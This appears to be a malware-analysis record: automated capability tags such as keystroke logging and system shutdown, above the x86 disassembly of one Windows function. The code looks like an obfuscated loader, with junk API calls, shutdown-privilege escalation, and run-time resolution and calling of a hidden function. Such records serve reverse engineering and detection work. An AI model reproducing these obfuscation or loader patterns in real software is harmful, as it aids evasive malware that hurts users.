Function at 0x5cf13dc8
Capabilities:
Enumerate gui resources
Get common file path
Get disk size
Get file attributes
Get file size
Log keystrokes
Read file on windows
Shutdown system

Disassembly:
push ebp
lea ebp, [esp - 0xf84]
mov eax, 0x1000
call fcn.5cf182c0
mov eax, dword [0x5cf29928]
xor eax, ebp
mov dword [ebp + 0xf80], eax
mov eax, dword [ebp + 0xf8c]
push ebx
push esi
push edi
xor ebx, ebx
mov esi, 0x103
push esi
mov dword [ebp - 0x10], eax
mov dword [0x5cf2aafc], eax
lea eax, [ebp + 0xc41]
push ebx
push eax
mov dword [ebp + 0x24], ebx
mov byte [ebp + 0xc40], bl
call fcn.5cf17780
push esi
lea eax, [ebp + 0xb3d]
push ebx
push eax
mov byte [ebp + 0xb3c], bl
call fcn.5cf17780
push esi
lea eax, [ebp + 0x935]
push ebx
push eax
mov byte [ebp + 0x934], bl
call fcn.5cf17780
push esi
lea eax, [ebp + 0x625]
push ebx
push eax
mov byte [ebp + 0x624], bl
call fcn.5cf17780
lea eax, [ebp + 0xc40]
push 0x2e
push eax
call fcn.5cf170b0
mov edi, eax
lea eax, [ebp + 0xc40]
push 0x2f
push eax
call fcn.5cf170b0
add esp, 0x40
mov esi, eax
lea eax, [ebp + 0xc40]
push 0x5c
push eax
mov dword [ebp + 0x20], 0x6d
call fcn.5cf170b0
cmp esi, eax
pop ecx
pop ecx
jbe 0x5cf13e92
mov eax, esi
cmp edi, ebx
je 0x5cf13e9e
cmp eax, ebx
je 0x5cf13ee4
cmp eax, edi
jbe 0x5cf13ee4
lea edi, [ebp + 0xc40]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x5cf13ea5
mov esi, 0x5cf2552c
lea eax, [ebp + 0xb3c]
movsw word es:[edi], word [esi]
mov edx, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x5cf13ebc
lea edi, [ebp + 0xc40]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x5cf13ecc
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
lea eax, [ebp + 0x934]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push eax
mov dword [ebp + 0x3c], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [0x5cf2aaf4]
mov edx, dword [ebp + 0xf98]
lea ecx, [ecx + edx + 0x2da]
push ebx
mov dword [0x5cf2aaf4], ecx
lea ecx, [ebp + 0x28]
push ecx
push edi
push eax
push ebx
mov dword [ebp + 0x28], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 0x3c]
mov dword [ebp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x5cf2aaf4]
inc eax
cmp eax, 0x6d
jae 0x5cf13f6f
mov eax, dword [ebp + 0x1c]
shl eax, 4
add eax, 0x11
mov dword [ebp + 0x20], eax
lea eax, [ebp - 0x18]
push eax
push 1
push ebx
mov dword [ebp - 0x18], ebx
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
push ebx
push ebx
push 0xc
push 7
push dword [0x5cf2ab08]
mov dword [0x5cf2ab00], eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
cmp dword [ebp + 0x1c], ebx
je 0x5cf13fdd
mov eax, dword [str.Control]
mov esi, dword [0x5cf2ab08]
mov dword [ebp + 0x70], eax
mov eax, dword [0x5cf25528]
push 0x34
mov dword [ebp + 0x74], eax
lea eax, [ebp + 0x78]
push ebx
push eax
call fcn.5cf17780
lea eax, [ebp - 8]
push eax
call fcn.5cf175f4
lea eax, [ebp - 8]
push eax
call fcn.5cf175d0
add esp, 0x14
lea eax, [ebp + 0x70]
push eax
push esi
call dword [sym.imp.USER32.dll_SetWindowTextA]
cmp dword [0x5cf2ab00], 1
mov esi, dword [ebp - 0x10]
jge 0x5cf13ff1
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x5cf13ff8
push ebx
call dword [sym.imp.GDI32.dll_GetLayout]
push str.KERNEL32.DLL
mov dword [ebp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.GetDiskFreeSpaceExA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
inc dword [0x5cf2aaf4]
push ebx
push ebx
mov edi, eax
call dword [sym.imp.WININET.dll_CreateUrlCacheGroup]
cmp edi, ebx
lea eax, [eax + esi*2]
mov dword [ebp + 8], eax
je 0x5cf14061
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp + 0xa38]
push eax
call edi
test eax, eax
je 0x5cf14061
mov eax, dword [0x5cf2aaf4]
mov ecx, dword [ebp + 0x1c]
imul eax, eax, 0x96
imul ecx, ecx, 0x64
sub eax, ecx
mov ecx, dword [ebp + 0x20]
lea eax, [eax + ecx + 0x5e]
mov dword [0x5cf2aaf8], eax
push ebx
push ebx
push ebx
lea eax, [ebp + 0x60]
push eax
lea eax, [ebp + 0xa38]
push eax
call fcn.5cf18267
add esp, 0x14
push ebx
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.WININET.dll_CreateUrlCacheEntryA]
cmp byte [ebp + 0x60], bl
lea eax, [eax + esi + 0x384]
mov dword [0x5cf2ab0c], eax
jne 0x5cf140bc
lea eax, [ebp + 0xb3c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
push ebx
push ebx
lea eax, [ebp + 0x60]
push eax
lea eax, [ebp + 0xb3c]
push eax
call fcn.5cf18267
add esp, 0x14
lea edi, [ebp + 0x60]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x5cf140c0
add dword [ebp], 0x220
mov eax, dword [ebp]
mov dword [0x5cf2ab04], eax
lea eax, [ebp + 0x40]
push eax
lea eax, [ebp + 0x3c]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp + 0x60]
mov esi, 0x5cf254fc
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
lea eax, [ebp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantTimeToSystemTime]
lea eax, [ebp - 8]
push eax
lea eax, [ebp + 0x2c]
push eax
call esi
inc word [ebp + 0x38]
lea eax, [ebp + 0x68]
push eax
lea eax, [ebp + 0x2c]
push eax
call esi
imul eax, dword [0x5cf2ab00]
mov dword [ebp + 0x10], eax
mov eax, dword [0x5cf2ab0c]
add eax, 0x220
mov dword [0x5cf2aaf8], eax
lea eax, [ebp + 0xe0c]
push eax
lea eax, [ebp + 0xa38]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 0x22
pop esi
dec esi
cmp dword [ebp + 0x10], ebx
je 0x5cf14175
cmp dword [ebp + 0x1c], ebx
je 0x5cf14175
lea eax, [ebp + 0x3c]
push eax
push 0x5cf25818
push 1
push ebx
push ebx
push str.LDAP:
mov dword [ebp + 0x3c], ebx
call sub.ACTIVEDS.dll_ADsOpenObject
call dword [sym.imp.RPCRT4.dll_RpcRevertToSelf]
imul eax, dword [ebp + 0x1c]
cmp esi, ebx
mov dword [0x5cf2ab08], eax
jne 0x5cf14150
push 0x5cf254dc
push dword [ebp + 0x20]
push 0x10
push ebx
push dword [ebp + 0x1c]
call dword [sym.imp.USER32.dll_InsertMenuA]
lea eax, [ebp + 0x3c]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
cmp dword [ebp + 0x10], ebx
mov edi, 0x5cf254d8
je 0x5cf141d3
lea eax, [ebp - 0x24]
push eax
push str.SeShutdownPrivilege
push edi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x5cf141d3
mov dword [0x5cf2aaf4], ebx
mov esi, dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x28]
push eax
push ebx
push dword [ebp + 0x3c]
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], 2
call esi
cmp dword [0x5cf2ab00], ebx
je 0x5cf1420c
lea eax, [ebp - 0x24]
push eax
push str.SeRemoteShutdownPrivilege
push edi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x28]
push eax
push ebx
push dword [ebp + 0x3c]
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], 2
call esi
cmp dword [ebp + 0x1c], ebx
je 0x5cf1424c
xor esi, esi
inc esi
push esi
push esi
push ebx
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownA]
test eax, eax
je 0x5cf14246
mov dword [0x5cf2aaf4], esi
jmp 0x5cf1424c
mov dword [0x5cf2aaf8], ebx
mov eax, dword [ebp - 0x10]
mov esi, 0xff
push esi
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xb41]
push ebx
push eax
mov dword [ebp - 0xc], ebx
mov byte [ebp + 0xb40], bl
call fcn.5cf17780
xor eax, eax
mov dword [ebp - 0x38], ebx
lea edi, [ebp - 0x34]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
lea edi, [ebp + 0x54]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
lea edi, [ebp - 0x50]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x206
stosd dword es:[edi], eax
lea eax, [ebp + 0x72a]
push ebx
push eax
mov word [ebp + 0x728], bx
call fcn.5cf17780
add esp, 0x18
lea ecx, [ebp - 0x7c]
call fcn.5cf13168
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x7c]
call fcn.5cf13b39
lea eax, [ebp + 0x24]
push eax
lea ecx, [ebp - 0x7c]
call fcn.5cf13bb1
mov ecx, dword [ebp + 0x10]
xor eax, eax
cdq
lea edi, [ecx + 0x39]
idiv edi
mov edx, eax
movzx eax, byte [ebp + 8]
add edx, dword [0x5cf2ab04]
add eax, edx
add eax, dword [ebp + 0x20]
cmp ecx, ebx
mov dword [ebp - 0x14], eax
je 0x5cf142fa
mov eax, dword [0x5cf2ab00]
lea eax, [ebp + eax + 0x41c]
add dword [0x5cf2aaf8], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp + 0x3c], eax
lea eax, [ebp + 0x3c]
push eax
lea ecx, [ebp - 0x7c]
call fcn.5cf13b39
mov eax, dword [ebp + 0xc]
mov dword [ebp + 0x3c], eax
lea eax, [ebp + 0x3c]
push eax
lea ecx, [ebp - 0x7c]
call fcn.5cf13b39
mov edi, dword [ebp - 0x2c]
imul edi, dword [ebp + 0xc]
mov eax, dword [0x5cf2aaf8]
add edi, dword [ebp + 8]
neg eax
cmp dword [0x5cf2ab00], ebx
mov dword [0x5cf2aaf4], eax
mov dword [ebp + 0x24], edi
je 0x5cf1435f
cmp dword [0x5cf2ab08], ebx
je 0x5cf1435f
push dword [ebp + 0x40]
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push ebx
push ebx
push ebx
push 2
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push esi
lea eax, [ebp + 0x2b8]
push eax
push ebx
lea eax, [ebp - 0x28]
push eax
push 2
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
lea eax, [ebp + 0x40]
push eax
push ebx
push ebx
push 0x10002
push ebx
lea eax, [ebp + 0x3c]
push eax
mov dword [ebp + 0x3c], ebx
call dword [sym.imp.ole32.dll_StgOpenStorage]
mov dword [ebp + 0x3c], 0x4d
mov ecx, dword [0x5cf2ab00]
xor eax, eax
cdq
lea esi, [ecx + 0x34]
idiv esi
push ebx
movzx ecx, cx
push ebx
push ebx
push ebx
sub eax, ecx
mov dword [ebp - 0x50], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
jne 0x5cf143c3
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec dword [ebp + 0x3c]
jne 0x5cf14399
movzx ecx, word [ebp + 0x20]
imul ecx, dword [0x5cf2ab0c]
lea eax, [ebp + 0xb40]
imul ecx, eax
mov eax, dword [ebp + 0xc]
mov edx, eax
sub edx, ecx
sub edx, dword [ebp - 0x14]
push 3
add dword [0x5cf2aaf4], edx
pop ecx
sub ecx, dword [0x5cf2ab00]
mov dword [ebp - 0x1c], ebx
sub ecx, dword [ebp + 0x1c]
sub ecx, dword [ebp + 0x10]
imul ecx, dword [ebp]
test ecx, ecx
jle 0x5cf14701
lea ecx, [ebp + 0x41c]
movzx ecx, cl
neg ecx
push 0x25
mov dword [ebp + 0x3c], ecx
xor edx, edx
pop ecx
div ecx
mov dword [ebp + 0x18], eax
mov eax, dword [0x5cf2ab08]
mov ecx, dword [ebp + 0x3c]
push ebx
push ebx
add ecx, eax
add dword [0x5cf2aaf4], ecx
push ebx
call dword [sym.imp.WININET.dll_SetUrlCacheEntryInfoW]
push ebx
push dword [ebp + 0x1c]
mov edi, eax
push ebx
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov eax, dword [ebp + 0x20]
sub eax, dword [ebp + 0x18]
mov ecx, dword [ebp + 0x24]
push ebx
push ebx
push ebx
push ebx
push ebx
lea esi, [ecx + eax - 0x220]
push ebx
mov dword [ebp + 0x24], esi
call dword [sym.imp.WININET.dll_SetUrlCacheGroupAttributeA]
cmp dword [ebp + 0x10], ebx
mov dword [ebp + 0x14], eax
je 0x5cf1448a
movzx eax, byte [ebp + 0x10]
imul eax, dword [ebp + 0xc]
movzx ecx, si
add eax, ecx
sub dword [0x5cf2aaf8], eax
jmp 0x5cf144d1
mov eax, dword [0x5cf2aaf8]
lea ecx, [ebp + 0x41c]
imul eax, ecx
mov ecx, dword [0x5cf2ab04]
cdq
lea esi, [ecx + 0x3a]
idiv esi
add ecx, 0x33
xor edx, edx
mov esi, eax
xor eax, eax
div ecx
sub esi, eax
movzx eax, word [ebp + 0xf98]
add esi, eax
movzx eax, word [ebp + 0xc]
add esi, eax
sub esi, dword [0x5cf2ab08]
lea eax, [ebp + 0x728]
sub esi, eax
add dword [ebp + 0x20], esi
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
cmp dword [ebp + 0xf98], ebx
mov ecx, eax
jne 0x5cf144f8
movzx eax, byte [ebp - 0xc]
cdq
push 0x31
pop esi
idiv esi
sub eax, dword [ebp - 0x2c]
add dword [ebp + 0x24], eax
jmp 0x5cf14507
mov eax, dword [ebp + 0xf98]
sub eax, dword [ebp - 0x4c]
sub eax, dword [ebp + 0xc]
add dword [ebp + 0x54], eax
cmp dword [ebp + 0x10], ecx
jne 0x5cf1453b
cmp edi, dword [0x5cf2ab00]
jne 0x5cf1453b
mov eax, dword [ebp + 0x14]
cmp eax, dword [0x5cf2ab08]
jne 0x5cf1453b
cmp dword [ebp + 0xc], ebx
jbe 0x5cf14533
movzx ecx, word [ebp + 0xf98]
mov eax, dword [ebp + 0x20]
sub eax, ecx
mov dword [ebp - 0xc], eax
mov edi, dword [0x5cf2ab0c]
jmp 0x5cf1454b
mov eax, dword [ebp + 8]
sub eax, dword [ebp - 0x50]
je 0x5cf14549
mov eax, dword [ebp - 0x30]
sub dword [ebp - 0x4c], eax
xor edi, edi
mov esi, dword [ebp + 0x20]
push esi
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetWindowWord]
cmp edi, ebx
je 0x5cf1465e
test dword [0x5cf2aaf8], esi
je 0x5cf145f5
mov esi, dword [sym.imp.USER32.dll_GetWindow]
push 5
push dword [ebp + 0x10]
jmp 0x5cf145ed
push 0x31
lea eax, [ebp + 0xf4c]
push eax
push edi
call dword [sym.imp.USER32.dll_GetClassNameA]
push 0x5cf254a0
lea eax, [ebp + 0xf4c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x5cf145e0
push str.Button
lea eax, [ebp + 0xf4c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x5cf145e0
push str.Edit
lea eax, [ebp + 0xf4c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x5cf145e0
push str.RichEdit
lea eax, [ebp + 0xf4c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jl 0x5cf145ea
mov dword [0x5cf2aaf4], 1
push 2
push edi
call esi
mov edi, eax
cmp edi, ebx
jne 0x5cf14578
cmp dword [0x5cf2aaf4], ebx
je 0x5cf1461d
push dword [ebp + 0x10]
call dword [sym.imp.USER32.dll_GetMenu]
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_DestroyMenu]
cmp edi, ebx
je 0x5cf1461d
push edi
push dword [ebp + 0x10]
call dword [sym.imp.USER32.dll_SetMenu]
cmp dword [0x5cf2aaf8], ebx
je 0x5cf146df
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x401
push 1
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
push edi
push ebx
push 0xc
push dword [ebp + 0x10]
call dword [sym.imp.USER32.dll_SendMessageA]
push edi
push ebx
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x5cf146df
push ebx
push 1
push 0xcf
push dword [0x5cf2aaf4]
push dword [0x5cf2ab08]
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
xor eax, eax
push 7
pop ecx
lea edi, [ebp + 0xf60]
mov dword [ebp + 0xf5c], ebx
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x2c]
cdq
mov ecx, 0x267
idiv ecx
mov edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0x14]
mov ecx, eax
mov eax, dword [0x5cf2ab0c]
add ecx, eax
cmp edx, ecx
jae 0x5cf146b6
lea eax, [ebp + 0x728]
mov dword [0x5cf2aaf8], eax
jmp 0x5cf146bc
movzx eax, al
mov dword [ebp - 0x30], eax
lea eax, [ebp + 0xe48]
mov dword [ebp + 0xf64], eax
lea eax, [ebp + 0xf5c]
push eax
mov dword [ebp + 0xf68], str.Directory
call dword [sym.imp.SHELL32.dll_SHBrowseForFolderA]
inc dword [ebp - 0x1c]
push 3
pop eax
sub eax, dword [0x5cf2ab00]
sub eax, dword [ebp + 0x1c]
sub eax, dword [ebp + 0x10]
imul eax, dword [ebp]
cmp dword [ebp - 0x1c], eax
jl 0x5cf14422
mov edi, dword [ebp + 0x24]
mov eax, dword [ebp + 0x10]
lea ecx, [eax + 0x47]
mov eax, dword [0x5cf2aaf8]
cdq
idiv ecx
movzx ecx, word [ebp + 0x20]
add eax, edi
cmp eax, ecx
jge 0x5cf1472b
mov eax, dword [0x5cf2aaf4]
imul eax, dword [ebp + 0x20]
movzx ecx, byte [ebp]
sub eax, ecx
mov dword [ebp + 0x20], eax
mov esi, dword [ebp + 0x1c]
push 0x5cf25474
push dword [ebp - 0x10]
lea eax, [esi + 2]
mov dword [ebp + 0x14], eax
call dword [sym.imp.USER32.dll_LoadBitmapA]
push ebx
push eax
push esi
call dword [sym.imp.COMCTL32.dll_ImageList_Add]
lea ecx, [ebp - 0x7c]
call fcn.5cf12e5d
push dword [ebp - 0x7c]
call fcn.5cf17230
mov eax, dword [0x5cf2aaf4]
mov ecx, dword [0x5cf2ab08]
mov dword [ebp + 0xc], eax
mov dword [ebp + 0x18], ecx
mov dword [ebp + 0x3c], eax
mov dword [esp], 0x5cf25468
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
cmp dword [0x5cf2ab04], ebx
jne 0x5cf14796
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov al, byte [0x5cf2ab00]
push 0x103
mov byte [ebp + 0xc40], al
lea eax, [ebp + 0xc41]
push ebx
push eax
call fcn.5cf17780
mov esi, dword [sym.imp.USER32.dll_GetDlgItem]
add esp, 0xc
push dword [ebp + 0xc]
mov edi, 0x106
push ebx
push 0x138
push edi
push dword [ebp + 0x18]
call esi
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
push dword [ebp + 0xc]
push edi
push dword [ebp + 0x18]
call esi
mov edi, dword [sym.imp.GDI32.dll_SetBkColor]
push eax
call edi
fild dword [0x5cf2ab00]
fadd qword [0x5cf25460]
call fcn.5cf18326
push dword [ebp + 0xc]
mov dword [ebp + 0xc40], eax
push dword [ebp + 0x3c]
call edi
push dword [ebp + 0x10]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
mov edi, dword [ebp + 0x1c]
jne 0x5cf14841
mov ecx, dword [0x5cf2ab00]
mov eax, 0x6165
sub eax, edi
add ecx, 0x10000
imul eax, ecx
mov ecx, edi
imul ecx, ecx, 0x43
lea eax, [eax + ecx + 0x7243]
mov dword [ebp + edi + 0xc44], eax
push dword [ebp + 0xc]
push dword [ebp + 0x3c]
call dword [sym.imp.GDI32.dll_SetBkMode]
cmp dword [ebp], edi
jle 0x5cf14863
mov eax, dword [ebp + 0x10]
lea eax, [eax + eax + 0x6574]
mov dword [ebp + edi + 0xc48], eax
push dword [ebp + 0xc]
sub dword [ebp + 0x20], 0x1000
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov edi, dword [sym.imp.USER32.dll_EndDialog]
push 2
push dword [ebp + 0x18]
call edi
push 1
push ebx
push dword [ebp + 0x10]
call dword [sym.imp.USER32.dll_InvalidateRect]
push 1
push dword [ebp + 0x18]
call edi
lea eax, [ebp + 0xc40]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp + 0x20]
add eax, dword [0x5cf2ab08]
lea edx, [ecx*4 + 0x40]
mov ecx, dword [ebp + 0x14]
push 0x75000
push 0x2b000
sub ecx, edx
push 0x40000
mov dword [ebp + 0x24], ecx
call eax
push 0x5cf2ab10
mov dword [ebp + 0x3c], eax
call dword [sym.imp.comdlg32.dll_ChooseColorA]
test eax, eax
je 0x5cf14900
push dword [0x5cf2ab1c]
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
push ebx
push 0x138
push dword [ebp + 0x20]
push dword [ebp + 0x18]
call esi
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov eax, dword [ebp + 0x20]
mov esi, dword [ebp - 0x10]
push 7
pop edx
mov dword [ebp + 0x28], eax
xor eax, eax
mov ecx, edx
lea edi, [ebp - 0x44]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x44]
push eax
push 1
push dword [ebp + 8]
mov dword [ebp - 0x44], 0x1c
mov dword [ebp - 0x40], edx
call dword [sym.imp.USER32.dll_GetScrollInfo]
mov eax, dword [ebp + 0x24]
mov ecx, dword [ebp + 0x10]
imul eax, eax, 9
add eax, dword [ebp + 0x1c]
mov edx, dword [0x5cf2aaf8]
lea eax, [eax + ecx*8]
mov ecx, dword [ebp + 0xf98]
add eax, eax
sub ecx, eax
dec ecx
add edx, eax
imul ecx, edx
mov dword [ebp + 0x24], ecx
mov ecx, dword [ebp + 0x28]
imul ecx, eax
push 1
push ebx
push dword [ebp + 8]
mov dword [ebp + 0x20], eax
mov dword [ebp - 0x30], ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
cmp dword [ebp - 0x30], ebx
jge 0x5cf14978
mov dword [ebp - 0x30], ebx
jmp 0x5cf14983
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x30], eax
jle 0x5cf14983
mov dword [ebp - 0x30], eax
mov eax, dword [0x5cf2aaf8]
sub eax, dword [ebp + 0x24]
mov ecx, dword [ebp + 0x20]
add dword [0x5cf2aaf4], eax
mov eax, dword [ebp + 0x1c]
imul eax, eax, 3
push 0x5cf25450
lea eax, [eax + ecx*2]
push str.kernel32.dll
mov dword [0x5cf2aaf8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, esi
imul edi, dword [ebp + 0x1c]
imul edi, dword [ebp + 0xf98]
push 1
mov dword [ebp + 0x28], eax
lea eax, [ebp - 0x44]
push eax
push 1
push dword [ebp + 8]
add edi, 0x7000
imul edi, edi, 3
call dword [sym.imp.USER32.dll_SetScrollInfo]
mov edx, dword [ebp + 0x20]
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x14]
add eax, 0x32
imul eax, eax, 5
add eax, dword [0x5cf2aaf4]
add ecx, edx
imul ecx, dword [ebp + 0x24]
add ecx, dword [0x5cf2aaf8]
push edi
lea eax, [ecx + eax*2]
mov dword [0x5cf2aaf4], eax
imul eax, dword [ebp + 0x14]
lea eax, [eax + eax + 0x1000]
sub eax, dword [ebp + 0x1c]
push ebx
push dword [ebp + 0x3c]
add esi, eax
call dword [ebp + 0x28]
mov ecx, dword [ebp + 0x1c]
mov dword [ebp + 0xc], eax
mov eax, esi
imul esi, esi, 0x22
sub eax, dword [0x5cf2aaf4]
sub esi, dword [ebp + 8]
add eax, dword [ebp + 0x14]
inc ecx
cdq
idiv ecx
mov ecx, dword [ebp + 0x20]
push esi
imul ecx, eax
push ecx
mov dword [ebp + 0x24], eax
call dword [sym.imp.USER32.dll_SetCaretPos]
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
mov edi, 0x158
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf14aa0
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf14aa0
mov dword [0x5cf2aaf8], ebx
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf14ad5
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
mov eax, dword [0x5cf2ab00]
mov ecx, dword [0x5cf2ab0c]
lea edx, [ecx + eax]
imul eax, dword [0x5cf2aaf4]
cmp eax, edx
jne 0x5cf14b28
mov eax, dword [ebp + 0x40]
movzx edx, word [ebp + 0x40]
add eax, 4
imul eax, edx
imul eax, ecx
imul eax, dword [0x5cf2aaf8]
mov dword [0x5cf2aaf8], eax
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf14b8b
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf14b8b
mov dword [0x5cf2aaf8], ebx
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push 0x3c
lea eax, [ebp + 0x70]
push ebx
push eax
call fcn.5cf17780
add esp, 0xc
push ebx
lea eax, [ebp + 0xdf4]
push eax
push edi
push 0x29
mov dword [ebp + 0xdf4], edi
call esi
test eax, eax
jne 0x5cf14bee
lea eax, [ebp + 0x70]
push eax
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x5cf14bee
mov dword [0x5cf2aaf8], ebx
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
call sub.gdiplus.dll_GdiplusStartup
push ebx
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x40]
push eax
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], ebx
mov dword [ebp + 0x38], ebx
